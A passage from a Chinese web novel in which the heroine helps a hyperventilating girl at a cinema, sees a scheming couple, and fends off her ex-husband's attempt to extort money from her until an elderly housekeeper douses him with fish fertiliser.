她悲愤地掏出手机,把影院下一溜的好评展示给祝临川看:“你看看这些评价,什么身临其境从未有过的超绝观影体验,人生一定要有一次的4D观影,不来不是华国人,这帮崽种就是这么欺骗无知群众的吗?当时看到5分的好评时我就应该察觉到其中必有猫腻啊...”
白绯滔滔不绝地发泄着怨气,突然发现祝临川一声都没坑。她停下话头仔细看去,才发现祝临川竟然也难得地一脸空白地瘫坐在椅子上。
看来也是被颠傻了。
白绯哭笑不得地叹了口气,把椅子挪到他身边,刚想拍拍祝临川的脸,却突然听到了熟悉的声音。
79. 呼吸过度
“...你什么态度?!啊?!问你话呢,摆个死人脸给谁看啊?”一个西装革履的魁梧男人正站在售票厅前唾沫横飞地咆哮着。
对面,年轻的服务员脸色涨红,明显正在强忍怒气。然而男人却犹嫌不足,戳出去的手指都快顶到人脑门上了。
“算了算了,阿昊...”男人边上站着一个大肚子的孕妇,正用力拽着他的胳膊,低声劝道:“少说两句,这时候不要闹事了。东西都准备好了,就等孩子生了我们就能离开,要是闹太大引起人注意,让罗峻辉...让他们察觉我们还在这儿就麻烦了!反正我本来也不想看电影,外面的气味太冲,我有些反胃..."
阿昊?罗峻辉?还有这两人熟悉的声音?
白绯的耳朵瞬间竖了起来,伸长了脖子往远处看去。
随着男人转过脸来,那副眼熟的凶狠长相瞬间勾起了她的回忆,竟然是陈昊。而他身边那位看起来即将临盆的孕妇,果然是顾怜心。
顾怜心看起来状态很不好,相比于上次光彩照人的模样,如今的她腹部高高隆起,面容憔悴,掩着鼻子皱着眉,看起来确实很不舒服的样子。
陈昊像是听了进去,对着柜台后努力隐忍的服务员冷哼一声道:“一辈子的打工命,穷逼,呸!”
他最后啐了一口,扶着顾怜心的一侧胳膊往外走,嘴里还低声念叨着:“你就放心吧,罗峻辉现在被催债的追得到处跑呢,哪顾得上找我们。好了好了,我知道,你放宽心,再过几天孩子就生了,生完我们就立刻离开这里..."
白绯想起了罗雪萍临死前的话,再结合之前画廊里陈昊和罗峻辉的相处,她立刻就将前因后果串联了起来。
看来,陈昊专门为罗峻辉制作的杀猪盘成功了。罗峻辉卖了房子贷了款,最后钱全进了陈昊和顾怜心的腰包。直到二人玩起消失,罗峻辉怕是才明白到底发生了什么。
难怪当时他们母子俩拿到罗雪萍的死亡赔偿款高兴成那样,沾着鲜血的100万怕是被罗峻辉当成东山再起的救命稻草了。
白绯有一瞬间犹豫要不要跟上去。这两家属于狗咬狗,都不是什么好东西。
她侧脸看了祝临川一眼,发现他果然也拧着眉头注视着陈昊和顾怜心的背影,若有所思的模样。
白绯便索性凑近和他咬起耳朵,将他们与罗峻辉的事大致理了一遍,问道:“你觉得我们要不要告诉罗峻辉?”
祝临川冷笑一声,摇摇头:“没必要,只会平白惹一身腥。”
白绯回想起原书中白家的悲惨结局,也赞同地点了点头。她不去痛打落水狗都已经算品德高尚了,至于这些贱人之间的纠葛,就让他们自个儿撕去吧。
也就是这么一犹豫,陈昊和顾怜心已经走没了影。白绯正想和祝临川商量接下来去哪儿吃饭,又一阵慌乱的尖叫猛地撕裂了平静的大厅。
一个穿着影院制服的年轻人猛地冲向前台,对着还在互相安慰的服务员道:“快!快拿医药箱!有人晕倒了!”
白绯顺着她手指的方向看去,果然看到熙熙攘攘的人群自发围成了一个圈,在悉悉索索的讨论声中,一个尖利的男声正在不断替自己辩白:“装什么装!少碰瓷!不占理就在这儿装晕,你要不要脸!”
拿到药箱的服务员慌忙返回人群,因为太过着急,甚至还直接在地上摔了个滑铲,差点铲飞四五个看热闹不嫌事大的。然而他也顾不上身上的疼痛,打开药箱就要给地上的女孩做急救。
可惜他的动作却被一个男人愤怒地挡住了。
那男人个子不高,瘦得跟排骨似的,一脸刻薄相,边推开服务员边对着地上的女孩愤怒咆哮:“我看你能装到什么时候,起来!都别动她!”
人群因为服务员的滑铲而被撕开了一个口子,白绯终于得以看清里面的场景。
只见地上蜷缩着一个年轻女孩,身体正不住抽搐,脸色苍白,嘴唇泛着青紫。她大口大口地呼吸着空气,胸口剧烈起伏,然而双手却诡异地蜷缩在胸前,指尖痉挛犹如...
“助产士手...”身边的祝临川喃喃道,显然和白绯想到一处去了。
助产士手,顾名思义,就是手部呈现出类似产科医生接生时用手帮助胎儿娩出时的手部动作,也就是手指屈曲内收,手腕和掌指关节屈曲,拇指内收。这种无法控制的手部痉挛姿势其实还很像我们生活中常见的一种食物,那就是鸡爪。
白绯看着女孩头上熟悉的奶奶灰发色,拉着祝临川就往那边赶去:“我看着症状有点像呼吸性碱中毒,你觉得呢?”
祝临川赞同地点了点头。
如果是呼吸性碱中毒,那情况相对就没那么糟糕了。女孩看起来挺年轻,只要她本身不是癫痫患者,或者没有一些基础疾病,那么就不会诱发严重并发症,间接导致死亡。
呼吸性碱中毒,其实核心机制很好理解。人在生气、紧张、情绪激动的时候通常都会呼吸急促,此时血液中的二氧化碳被过度排出,体内酸碱失衡,血液就会变碱,也就是所谓的呼吸性碱中毒了。所以这病还有一个更通俗的名称,那就是呼吸过度。
本身患有焦虑症等的人更容易出现呼吸过度的情况,常人也可能因为情绪激动而导致急性过度通气。所以有些词语——气死了,气抽了,这还真不是夸大其词,某种程度上甚至可以说也算写实。
当然,虽然这病不会直接导致死亡,但这并不意味着就不痛苦。呼吸性碱中毒时,人的脸部、头皮、脖颈、胳膊和双手都会发麻,尤其是手,会蜷缩痉挛成鸡爪的模样。此时越是用力呼吸,越窒息,这种濒死感是非常痛苦的。但是只要明白了发病原理,就能推断出其实治疗方法也很简单。
白绯和祝临川三步并作两步赶到了女孩身边。
那个年轻男人还在和服务员推搡,他不仅不许服务员去救助,还冲着地上表情痛苦的女孩冷嘲热讽:“还在那里装,呵,败家娘们儿,也就我不嫌弃你,还不知道感恩,丢不丢人,快点他妈给我起来!”
白绯挑眉,没想到这男人和女孩竟然还是一对,不知道的还以为是仇人呢。毕竟就连素不相识的服务员都表现得比他更担忧女孩的安危。
这瘦猴似的精神小伙看女孩还蜷缩在地上没有搭理他,面上挂不住,竟然上脚就要冲她的肚腹踢过去:“还装!你他妈给我起嗷
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!!!”
他没能再给女孩增加更多的伤害,因为祝临川从后勒住了他的脖颈,把人狠狠掼在了地上。
趁此机会,白绯赶紧解下了脖子上的丝巾,叠了几叠后轻轻覆在了女孩的口鼻上:“别怕,放松,你只是呼吸过度,跟着我的节奏,来,吸气...慢一点,好,很好,再慢一点,做得很好。”
白绯目光温柔坚定地看着女孩,直到她涣散的瞳孔中的惊恐逐渐消散。果然,这也是个熟人,正是上次在小巷中救了被捕兽夹夹伤腿的小猫咪的奶奶灰女孩。
不过几天不见,她人就消瘦了不少,面容愁苦,与之前那个嘴毒心善活力满满的模样大相径庭。都说爱人如养花,都不需要看那小伙子方才的态度,只要看女孩这枯萎的模样都知道,她这段恋爱谈得还不如单身呢。
围观人群开始低声交谈。
“怎么了这是?败家?是这女孩子挥霍无度,才惹得对象发这么大火?”
“我看是,啧啧啧,现在的女娃子都是势利眼,拜金,不知道男人养家压力多大吗?还好意思装病,要是我,非把她绑起来打一顿不可。”
眼见着众人都开始对着女孩指指点点,白绯有些不满地挡住了他们看向女孩的视线。就凭奶奶灰当初愿意救那只受伤的小丑咪,白绯就不相信她是那种女孩。
幸好有人看不下去,道出了事情的原委。
“根本不是那么回事,我刚才就坐她俩背后,全听明白了。”一个戴着眼镜的年轻女孩插嘴道。她看起来还是个学生,一脸稚嫩,在众人的目光中瑟缩了一下,抿了抿嘴,看起来有些纠结要不要继续插手。
她的目光扫过奶奶灰流着泪的脸,又与白绯鼓励的目光交接,最终还是鼓起了勇气,颤巍巍地,但吐字清晰地将事情的原委一一道来。
原来在方才观影时,这对小情侣就发生了争吵,起因是女孩用这个月的工资给在老家的母亲买了一个金手镯。
“这不是好事吗,多孝顺啊!”围观的中老年女性一改方才的态度,纷纷怜爱地看着奶奶灰,赞叹起来。
“人家姑娘用自己辛苦赚来的钱尽孝心,你倒是说说看,你以什么立场,又用什么理由,把人家活活气成这样。”祝临川单手插兜,垂眸看着狼狈坐在地上的男人。
他语气平淡,然而充满威慑的眼神却仿佛在说:你最好能想到一个说服我的理由,不然一会儿躺地上的哭的就是你了。
精神小伙畏缩地瘫在地上,不敢直视祝临川,只脸上的表情依然很不服气。方才他一张小嘴还挺能叭叭,此刻面对明显强势于他的人,仿佛就突然找回了理智与教养,委委屈屈地嚷道:“我们谈恋爱,她就那么大手大脚地把钱花了,一点也不替我们的小家着想!哪个男人能受得了她这样,我这是为她好,这样花她未来老公的钱,谁受得了!”
白绯握着丝巾的手青筋暴起,有些怀疑自己的耳朵。瞧这说的还是人话吗?未来老公,也就是说二人根本没结婚,还只是普通男女朋友关系,哪来的脸说这钱就是他的?就算结婚了,女孩自己赚的钱,她难道还没权力支配?这煞笔哪来的脸对别人的钱有这么强的占有欲?
80. 只有敌人才希望你柔弱
然而这个精神小伙却是打实地真的觉得委屈,他捂着自己被勒痛的肩膀,竟然还向祝临川寻求起了认同。
“大家都是男人,你应该懂的吧?我这也是为她好啊!”
祝临川的表情看起来也很是无语,少碰瓷,我们男人的风评就是被你们这样的傻雕给搞臭的。
眼镜女孩看不下去了,颤声怒道:“呸!我明明听到是你看上了一款新游戏机,需要一万块。但是你自己的钱花完了,就早早盯上了人家姐姐的工资!结果没想到,人家给妈妈买了镯子,你这才恼羞成怒的!也亏得姐姐脾气好,承诺说等下个月工资发下来就给你买,结果你还不满足,喋喋不休了整场电影,逼逼得我根本看不进去剧情,只想给你两耳光!就这,这个姐姐也一直好声好气哄着你,结果你倒好,人家刚出来就崴了脚,你不但不扶她,还嘲笑她是坦克!”
白绯看着奶奶灰的呼吸逐渐平静下来,然而眼泪却流得更凶了,呈现出一种哀莫大于心死的死寂。
她有些不忍地拍了拍她的肩膀,柔声问道:“还能走吗?边上就有医院,我陪你去检查下吧?”
奶奶灰点点头,在白绯的搀扶下艰难地站了起来。她站立不稳,只能靠着白绯,表情痛苦地低头看了看右脚踝。
白绯顺着她的视线看去,这才发现她的右脚踝肿了老高,看来扭得不轻。
精神小伙还在不远处冷嘲热讽:“我哪里说错了!活该,100斤的坦克穿什么高跟鞋,丑人多作怪,怎么没直接摔死你..."
白绯身高175,奶奶灰和她差不多高,这个身高100斤的体重其实已经很瘦了,结果没想到竟然还被嘲讽胖。
她实在忍无可忍,开口回击道:“明眼人都看得出来她有多瘦,也只有你这样的超绝儿童身材才会嫌弃人家胖。点评别人前先治治你自己的脑残吧。”
她不耐烦地翻了个白眼,拿祝临川洗眼睛,道:“临川,你过来抱一下,她脚伤了..."
祝临川点头向她们走来,精神小伙还在后头喋喋不休:“她就是死肥猪!好女不过百,谁他妈抱得动这么肥的女人..."
“我130斤,再逼逼,信不信三拳头让你过头七。”一声清亮有力的低喝从白绯身后传来。紧接着,一位身材高挑健美的女孩排开众人向她们走来。
她画着精致的妆容,露在宽松运动服装外的身体部位能看出明显的肌肉线条,充满了力量感。
只见她二话不说,弯腰将手臂穿过奶奶灰的颈后和膝弯,一个干脆利落的“公主抱”,就将她稳稳托起,轻松得仿佛托起一片羽毛。
她这一举动无异于狠狠打了精神小伙的脸,他面色涨红,一张嘴开开合合,却再也没能说出什么。
“我和你们一起去吧,我就在隔壁医院上班,那里我熟。”
“我也去!”眼镜妹也跟了过来,临走前,还故意狠狠踩了精神小伙撑在地上的手背一脚。
检查结果果然如白绯所想,是呼吸性碱中毒。当班的医生看到了覆盖在乔文秀,也就是奶奶灰发色女孩脸上的丝巾,赞赏地夸奖了几句:“处理得不错,是谢离操作的吗?”
“可不敢抢这个功,是那个卷发美女。”谢离,也就是一路公主抱把乔文秀送进医院的健身女孩端着一杯温水笑盈盈地走进了诊室,据她自己介绍是这间医院的护士。
她把水杯递给乔文秀,看了眼她受伤的右脚踝,抬头问道:“王医生,她身体怎么样?”
王医生笑着回答:“没事,处理得及时且正确,预后良好。脚踝也没问题,既没伤着韧带,也没动着骨头,放心吧。”
他转身又对着白绯比了个大拇指:“碰上你们这样的患者也是我们医生的福气。你是怎么想到用丝巾的?”
白绯被夸得有些赧然:“第一时间想到是用塑料袋套头或者戴口罩,但当时手边都没有,就想到用围巾制作简易口罩,想着只要有效控制住过度通气,应该就能缓解碱中毒症状。”
王医生不住点头,然后和他们挥挥手,回去住院病区巡查了。
谢离和他告别,然后笑着向在场几人解释:“不怪王医生这么开心,平时在咱们工作中实在是遇到太多一言难尽的患者了。嫌输液慢直接剪开口子往肚子里灌的,嫌输液太凉拿打火机燎输液管的,让禁食不要吃饭结果偷偷吃面的....唉,一言难尽啊。”
她看着破涕为笑的乔文秀,眼神宠溺:“就是该多笑笑,这么漂亮的女孩,老是愁眉苦脸的多可惜。”
眼镜女孩,也就是潘欣,也连连称是:“就是就是,姐姐,你这么好看,我是真想不通你干嘛要找那个河童。”
乔文秀脸上的笑容淡下来:“他叫何达,我和他是老乡,想着出门在外漂泊能有个照应,就比较常联系,一来二去就在一起了。我看他人挺老实的,应该是能过日子的人,不像一般的帅哥那样比较花心..."
潘欣听不下去了,夸张地重复道:“我的姐啊,你是对老实有什么误解吗?那个河童有哪点和老实沾边啊?老实人会这样算计对象的钱吗?”
她恨铁不成钢地叹了口气:“也亏你能忍得了,还答应下个月给他买游戏机!哈,换成我,敢惦记老娘钱的那一刻,我就叫他滚了!就是小李子来,也休想从老娘兜里掏出去一个子儿!别给男人花钱,会不幸!”
谢离满眼赞赏地看着潘欣,揶揄道:“小妹妹看着文文静静的,没想到还是个暴脾气。不过你说得对,为这种烂人消耗自己,太不值了。”
潘欣得到了支持,显得很开心,捂着嘴悄悄道:“所以我说啊,反正丑男也不是什么好东西,那还不如找个帅的。起码看着那张帅脸,我也不算亏,嘿嘿。我看这个美女姐姐的男朋友就不错,可惜好男人都不在市场流通啊..."
潘欣悄咪咪地看了守在门外的祝临川背影一眼,可惜地咂了咂嘴。
白绯得瑟地点点头:“是不错,姐眼光好吧?”
她话头一转,担忧地问乔文秀:“你比我上次见到时瘦了很多,是为了那个傻逼减肥的吗?”
乔文秀张了张嘴,放弃了重复何达的姓名,反正他在这里不配拥有姓名。她赧然地点点头,回道:“因为他一直说我胖..."
潘欣心疼地拿自己胳膊比了比乔文秀的小腿:“你看你都瘦成皮包骨了,还说胖,胖个球啊!”
谢离也收敛了脸上的笑意,眼神严肃地劝道:“只有你的敌人才会希望你永远虚弱、永远自我怀疑。你真的一点
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儿也不胖,恰恰相反,你太瘦了。你知道吗,恰到好处的脂肪和肌肉可是能救命的,若是大病一场,还有机会活命,而太瘦的人可能直接就成盒了。”
谢离从包里掏出名片,递给再次落泪的乔文欣:“如果你有兴趣健身,修炼更强壮的□□,欢迎随时找我。当然,只是想找个人聊聊,也可以。”
潘欣眼巴巴地看着她们,却没想到谢离又掏出一张也递给了她和白绯。
潘欣捧着名片星星眼,一副馋得直流口水的模样:“谢离姐,你这肌肉练了不少时间吧?就算是我这样的外行人都觉得太美了!我可以摸摸吗?”
“当然。”谢离毫不吝啬地撩起短袖,露出紧绷的腹肌和马甲线,笑道:“随便摸。”
潘欣自己摸还不够,还拉过乔文秀的手一起按在谢离肚子上,道:“哇,好Q弹,实在太酷了!”
乔文欣感受着掌下肌肉的力度,眼神里有什么东西渐渐变了。
白绯也很羡慕,她欣赏地看着,问道:“国内主流审美还是白幼瘦,要我说哪有你这样的身材有吸引力啊!可惜我平时能躺着绝不坐着,这辈子是不可能有这样好的身材了。”
谢离笑道:“只要健康就行,什么样的身材都好。我这也是没办法,医务工作者没有一个好的体力可撑不住。而且啊,现在医闹实在太多了,患者不讲道理的时候,我也只好和他们讲点拳脚喽~练点肌肉保护自己,也能保护其他小姑娘嘛。”
于是当祝临川打开诊室大门的时候,看到的就是这样诡异的一幕。
三个女人满脸垂涎地抚摸着谢离的腹肌和马甲线,嘴里还不住啧啧称赞。
祝临川:...
好在白绯注意到了他,用口型问道:“怎么了?”
祝临川侧身避开,露出了后面的黑长直头发女孩,也就是上次和乔文秀一起救助被捕兽夹夹住腿的猫咪的同伴,霜雪。
“文秀!”
霜雪怀里还抱着那只小丑咪,一脸焦急地冲进了诊室,上下打量着乔文秀:“怎么样,医生怎么说?”
谢离在旁边轻声解释了下,然后和她们告别:“既然你朋友来了,我就走了,有需要随时联系。”
潘欣也和她们挥手告别,她还和朋友有约,也不多留了。
临走前大家都各自加了联系方式,霜雪感激地冲大家点头:“改天请姐妹们一起吃个饭!”
白绯从她怀里接过小丑咪,一段时间没见,猫咪看着丰腴了不少,然而还是丑萌丑萌的,像个愁眉苦脸的老太太。
霜雪心疼地看着乔文秀,没忍住轻声抱怨:“你看你,瘦成这样!最近为什么老躲着我?”
乔文秀有些内疚:“我知道你不喜欢他,所以不知道该怎么面对你。不过你放心,经过今天这事,我也想明白了,这就和他分手。”
霜雪老怀甚慰:“你想明白就...”
“我要追求谢离。”
嗯?
霜雪和白绯都瞪大了眼睛,瞠目结舌地看着乔文秀满脸春情荡漾:“我终于明白了,谢离才是我想要的对象,又强大,又温柔..."
霜雪哽了一下,嘴巴张张合合,最后还是拍了拍乔文秀的肩膀:“行吧,你开心就好。”
81. 奇行种
乔文秀做完检查后便和霜雪一起离开了。
白绯在医院门口和她们挥手告别,转身时仍带着未尽的笑意,偏头和祝临川道:“谢离确实很有魅力,也难怪乔文秀心动。现在这世道,女孩子都比有些男人更有男友力。”
祝临川疑惑道:“男友力?”
他不是很懂这个名词,但也不在乎。只是抓过白绯的手,从自己的衣服下摆处伸进去,按在腹部,有些委屈道:“你方才看得好专注,是我的腹肌还不够好,不够你看吗?”
白绯一边揉捏着掌下的肌肉一边揶揄:“怎么谁的醋都吃,我只是羡慕谢离的身材啊~”
祝临川的回答很直男:“如果你想要练,我可以做你的健身搭子。”
白绯摆摆手,笑道:“算了,没工作的时候我只想躺在床上,翻个身都嫌累,更别提撸铁了,看过等于拥有。走吧,吃饭去~”
好在后来没有再发生其他意外,白绯和祝临川安安稳稳吃了个烛光晚餐,然后又度过了一个甜蜜的夜晚。
第二天一早,祝临川又去公司做牛马,白绯懒懒瘫在沙发上啃王阿婆做的红枣大馒头。
馒头发得又大又蓬松,既有红枣的甜又有麦子的香气,白绯睡眼迷蒙地连续吃了两个,对着王阿婆比了个大拇指:“果然还得是中式碳水,阿婆,这可真是一点也不输什么可颂贝果啊!”
白绯本来请王阿婆来只是想找个理由给她发钱罢了,根本没想真让她做些什么。然而王阿婆却闲不住,比小楼里几个年轻人还像年轻人,每天变着花样给人做吃的,还把院子里几块空地收拾了出来,种了不少小番茄、辣椒和西瓜。
白绯拦住企图往西瓜地里蹿的大鹏、小黑和三花,指着一个小番茄那么大的西瓜宝宝义正言辞道:“看到这个小西瓜了没?现在它可是我们小楼的重点保护对象,谁手贱霍霍了它,谁以后没有肉吃!”
“喵!”
“汪~”
“叽叽!”
“很好。”白绯满意地点了点头,对着六只天真无邪的眼睛道:“散会散会,都去找阿婆吃饭去!刚才我都闻着味儿了,老香了。也不知道阿婆今天给你们做的啥,我还以为是给我们吃的呢~”
三小只一哄而散,白绯一边拿着根软尺蹲在地上给小西瓜量尺寸,一边拿出手机给它拍了个九宫格特写。
正在编辑准备发朋友圈呢,一个电话打了进来,竟然是好久不见的陆寻。
“白小姐!特别大奉送!”陆寻还是那副咋咋呼呼的模样,在电话那头兴奋地嚷道:“我手下人在调查一桩杀猪盘的时候又撞见你那傻逼前夫了,他拿着100万被人家骗了个底掉!我想着跟你说一声,好让你也高兴高兴~”
白绯眉梢一挑,100万,这是到手还没捂热就又被骗走了啊?怎么滴,都说搞杀猪盘的互相之间都有联系,一个骗完会介绍给同行继续骗,陈昊这是又把罗峻辉介绍给别人了?
不过白绯也不关心,好逸恶劳且贪财的人命中必有一劫,不过她还是对陆寻表示了感谢:“行,多谢,我知道了。你们也小心些,这些人要钱不要命的,注意安全。”
结果没想到,她才挂了电话没多久,晦气就找上了门来:“白绯,是我!快开门!”
白绯扶着西瓜藤的手一抖,差点直接把这颗独苗给掐了。
她小心翼翼地把小西瓜放回去,安抚地轻轻拍了拍,撑着膝盖站了起来。
门外站着熟悉的一双身影,赫然就是许久不见的罗峻辉和祝金花母子俩。
祝金花看着消瘦了不少,只脸上的刻薄半分不减。她注意到白绯望来的视线,不满地撇了撇嘴,却什么都没有说,甚至还挤出了一个讨好的笑,只是不伦不类的,笑得真比哭还难看。
罗峻辉比之前也落魄多了,脸色颓唐,眼袋浮肿,嘴角耷拉着,再也没了从前的意气风发,看来罗雪萍最后的赔偿款也被骗走,对他的打击很大。
他看到白绯抱胸朝他们走来,脸上露着讨好:“绯绯,好久不见啊。”
白绯并没有开门的意思,也不开口,只隔着铁门挑眉看着他们母子俩作妖。
“绯绯,你最近还好吗?我很想你,自从和你分开后我每天都在想你。当初都怪顾怜心那个婊子,她对我死缠烂打,所以我才一时鬼迷心窍。我妈也很后悔,当时不该受了她的挑拨,对你不好。她最近也总念叨着,只有你才配做我们罗家的儿媳妇。绯绯,你想我了吗?怎么不说话?"
罗峻辉觑了眼白绯面无表情的脸,假惺惺抹了把眼角鳄鱼的眼泪,又用胳膊肘捣了祝金花一把:“妈,你说是不是?”
祝金花此时也没了之前趾高气昂的模样,做小伏低地讪笑:“是是是,绯绯呀,你看,之前的事都怪我!”
她装模作样地轻轻扇了自己的脸一下,舔着脸奉承:“我老太婆有眼无珠,错把鱼目当珍珠,竟被那姓顾的三言两语哄了去,都怪我,都怪我。绯绯啊,你心地善良,就别和我这老婆子计较了成不?”
白绯冷笑一声,并不上当:“呵,可别在这儿道德绑架,以德报怨,何以报德?有话直说,别在这弯弯绕绕的。”
祝金花被噎了一下,畏畏缩缩地看向罗峻辉。
被当场下了面子,罗峻辉竟是忍住了没发飙,只脸色更难看了。他搓着手讪笑道:“绯绯,先把门打开呗~有什么事我们进去说,在这儿说像个什么样子啊!”
“不说就算了。”
白绯才干不出这引狼入室的事,一点开门的意思也没有,反而转身就准备走。
眼见装可怜这套没用,罗峻辉赶紧隔着栅栏伸出手想去拉她:“唉,绯绯,你别走啊!其实…那个,是我最近手头有点紧,你能不能先借我点钱周转周转?”
白绯差点以为自己听错了。这可真是荒谬至极,罗峻辉哪来的自信认为她会借钱给他?
罗峻辉毫无所觉似地仍在喋喋不休:“反正你这么有钱,借我点就当行善了呗?更何况我们还有这么多年的情分,你也不忍心看我穷困潦倒对不对?我要的也不多,200万,200万就行。”
“哈…”白绯意味深长地笑了一声,“行啊。”
她在罗峻辉喜出望外的眼神中一字一顿道:“那我们写个借条,利息我也不多收你,就按银行的来。”
“啊?这...这多见外啊,借条就不用写了吧?”罗峻辉却显得很为难,开始极力劝说她,“我还能跑了不成?更何况,临川不是和你好了嘛,都是一家人,他现在工作找得那么好,再不济,
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他也能替我还钱啊!”
白绯这下是真被气笑了。
罗峻辉果然是狗改不了吃屎,瞅这意思,人家根本没打算写借条。而且他不仅想白嫖,甚至还惦记上了祝临川的钱。该说罗峻辉他大度吗,这时候倒是不介意这顶绿帽子了哈?
“真是没见过你这么臭不要脸的奇行种。”白绯对这母子俩的脸皮叹为观止,吐槽道:“人家临川父母的赔偿金你们还了吗?没找你们还钱就不错了,竟然还好意思惦记他的钱。慢走不送,我就是把钱撒了烧了,也不会借给你。”
眼见谈判破裂,祝金花终于不再装可怜,唾沫星子几乎要喷进来:“你这个丧门星!都怪你,要不是你这做死人生意的进门败了我罗家的气运,我们又怎么会这么倒霉!你个没良心的毒妇!赔钱!这是你欠我们罗家的!”
白绯并不意外,她看着这两张令人作呕的嘴脸,冷笑道:“终于不装了哈。”
她也不做解释,对着祝金花做了鬼脸:“对,就是我咒的。你再骂我,我可又要施咒了哟。咒你什么好呢,咒你这辈子都被债主追得到处跑怎么样?”
祝金花一哽,竟是真有些怕了。她气得脸都涨成了猪肝色,想骂又不敢骂,把自己憋得胸口都痛了。
白绯看到她这副模样,倒是解气地哈哈大笑起来。
然而罗峻辉却不怕,此刻的他已经穷疯了,只想要钱,根本不怕什么诅咒。
他哐当哐当地疯狂摇晃着栅栏,像条恶毒的癞皮狗似地死死扒着门缝,冲着白绯疯狂咆哮:“贱人!把门打开!你今天要是不给钱,这事没完!”
就连陈安夏和小施都被这儿的动静引了出来,从小楼探头探脑地往外张望。
罗峻辉看到有其他人,得意一笑,隔着栅栏恶毒地威胁白绯:“你要是不给钱,我就告诉别人你是个人尽可夫的烂货,到时候你名声臭了,我看祝临川还要不要你!识相点就把钱掏出来,不然我有的是手段..."
“我有的是手段告你造黄谣。”白绯从兜里掏出录音中的手机冲祝罗峻辉晃了晃,逗弄道:“快去,抓紧时间赶紧造谣,这样我好联系律师顺便再给你定个敲诈勒索。”
白绯还真不怕。
贞操枷锁千百年来一直是悬在女性头上的达摩克里斯之剑,仿佛一个女人是好是坏就只看两腿间的事。男人的星经历会被美化成能力,但女人却会被贬为污点,甚至现在社会中还会以非处来羞辱女人。正是因为这一点的存在,黄谣才会成为无往不利的武器,轻易就能对女性实施社会处决。
若是罗峻辉真敢这么做,白绯不介意成为反抗的先驱。女性的尊严从不依附于星清白,该因此感到羞辱和自我怀疑的也不是受害者,而是那些制造、纵容和散播谣言的性别暴力实施者。
罗峻辉面容扭曲,他没想到白绯这么刚。恼羞成怒下开始失去理智,满嘴喷粪,说出的每个字都是要消音的程度。
白绯却压根不生气。对方看起来明显是真没招了,他越是生气辱骂,白绯越高兴,心态稳得一批。
然而有人却听不下去了。
随着一股浓烈的腥臊味靠近,还不待白绯和罗家母子反应过来,一盆红白之物就直直泼向了门外那两个还在徒劳撞门、唾沫横飞的人影。
82. 宠似主人形
鲜红的血水淋了罗家母子一身,粘腻的鱼肠软塌塌地挂在他们头上、肩上,衣服上更是粘满了闪着银光的鱼鳞,腥臭浑浊的污水滴滴答答淌了下来。
而更惨的是,由于他们当时都张大了嘴怒骂白绯,猝不及防间被泼了污水,甚至有不少直接进了嘴里。
“呕!”
罗家母子这下再也顾不上撒泼了,恨不得把心肝肺都呕出来,涕泪横流。
白绯捂着鼻子连连后退了几大步,然而浓烈的鱼腥味和酸腐味依旧清晰可闻。
王阿婆端着空盆站在她身边,光是站姿看着都强得不行。
白绯好奇地打量了眼空盆,问道:“阿婆,你这盆里装的啥啊,也太臭了!”
一般的鱼下水也不至于这么臭啊?
王阿婆面对门外的母子俩时是怒目金刚,转头面对白绯时则又变回了那个慈眉善目的老太太,笑呵呵地解释道:“这个啊,是俺沤的鱼肥。”
她扬了扬空盆,示意白绯站远点:“最近三花瞅着精神不太好,俺就给它杀了不少鱼补一补。想着鱼下水就这么倒了也可惜,作地里的肥料正好,就搁屋后头发酵呢。哼,倒是便宜他们了。”
她在罗家母子一片撕心裂肺呕声中挥扬声威胁道:“还不滚!下次再敢来,看俺老太婆敢不敢直接把这鱼肥灌你们嘴里去!”
罗家母子眼看老太太真敢来第二盆,再也不敢多逗留,屁滚尿流地走了。
小施和陈安夏在后头围观了全程,一脸佩服地啪啪啪海豹鼓掌。
白绯也很感激王阿婆,然而紧跟着却突然意识到一个很严重的问题。
她哭丧着脸指着西瓜地,问道:“阿婆,那地你不会就是拿这个鱼肥浇的吧?”
王阿婆理所当然道:“当然啊,不然哪能那么快就长出小西瓜来?这肥料可有营养,结出来的西瓜保准又大又甜!等熟了阿婆就摘了给你们尝尝,中不?”
白绯抹了把脸,视死如归道:“中!”
起码不是拿大粪浇的,这么一想鱼肥也不是不能接受。
一场风波就这般结束。
为防万一,白绯后来还特意把家里的油锯又翻了出来,打定主意要是罗峻辉母子还敢来,就让她们好好听听电锯的响。
然而也不知道是不是王阿婆那盆鱼肥威力实在太大,罗峻辉他们竟再也没有出现在小楼,从此销声匿迹了。
白绯只能失望地拉响油锯自己听个寂寞,心中可惜这神器是注定无用武之地了。
祝临川递给白绯一碗银耳绿豆汤,顺手收了油锯防止她伤到自己。
他看着白绯那跃跃欲试的模样,无语道:“就算他们真来了,你还真能用这玩意儿给他们分尸不成?”
白绯一边拿勺子舀着吃绿豆,一边冲祝临川狡黠地挤挤眼睛:“嘿嘿,怎么不成。亲爱的,那我要是真把他们锯了,你怎么办?”
祝临川不假思索道:“说吧,抛还是埋?”
白绯被他逗得哈哈大笑,起身在他脸上啵了一口:“你啊,搁古代绝对是个昏君。放心吧,我也就吓唬吓唬他们,我们的好日子还在后头呢,哪能为了这样的烂人自毁前程?”
祝临川也笑了起来,然而这笑意却怎么也不达眼底。白绯有些奇怪地看着他,问道:“怎么了?最近工作太累了吗?”
祝临川摇摇头,看了眼小楼大厅里被小施和陈安夏还有三小只围着的王阿婆,颇有些寂寞如雪地叹了口气:“阿婆太能干了。”
走了个处处跟他雄竞的方瑜,祝临川才刚喘口气,没想到就又来了个无所不能的王阿婆。
从前白绯的衣食住行都是他一手打理,但自从做上牛马,他能陪伴白绯的时间确实少了很多。所以虽然有些遗憾,但他也还是念着王阿婆的好的。
起码这样就有人一日三餐都能督促着白绯按时吃,省的她又一觉睡到下午两点,每天第一顿吃的就是晚饭了。
二人正说着话呢,那头搂着三花的陈安夏突然发出一声尖锐的爆鸣。
“绯绯姐!你快过来!!!!”
白绯被她吓了一跳,连滚带爬地冲进了小楼:“怎么了怎么了?”
陈安夏满脸惊恐地抱着三花的胳肢窝展示给白绯他们:“你看!”
白绯看着面前拖得老长的一条猫,只见毛色鲜艳有光泽,尾端甚至没有分岔,肚皮也圆滚滚的,正随着呼吸一起一伏,看着就让人很想把脑袋埋进去吸一吸。
“额...长太胖了?”白绯接过三花,不明所以地掂了掂。
“不是!”陈安夏急得嗓子都快劈了,双手扒拉开三花腹部柔软的长毛,颤抖的手指指着一个褐色的小小凸起:“它这是不是长了肿瘤啊?!”
白绯和祝临川听得都是一惊,顺着她手指的方向看去,果然在三花茂密的毛发间看见了一颗圆鼓鼓的小豆子。
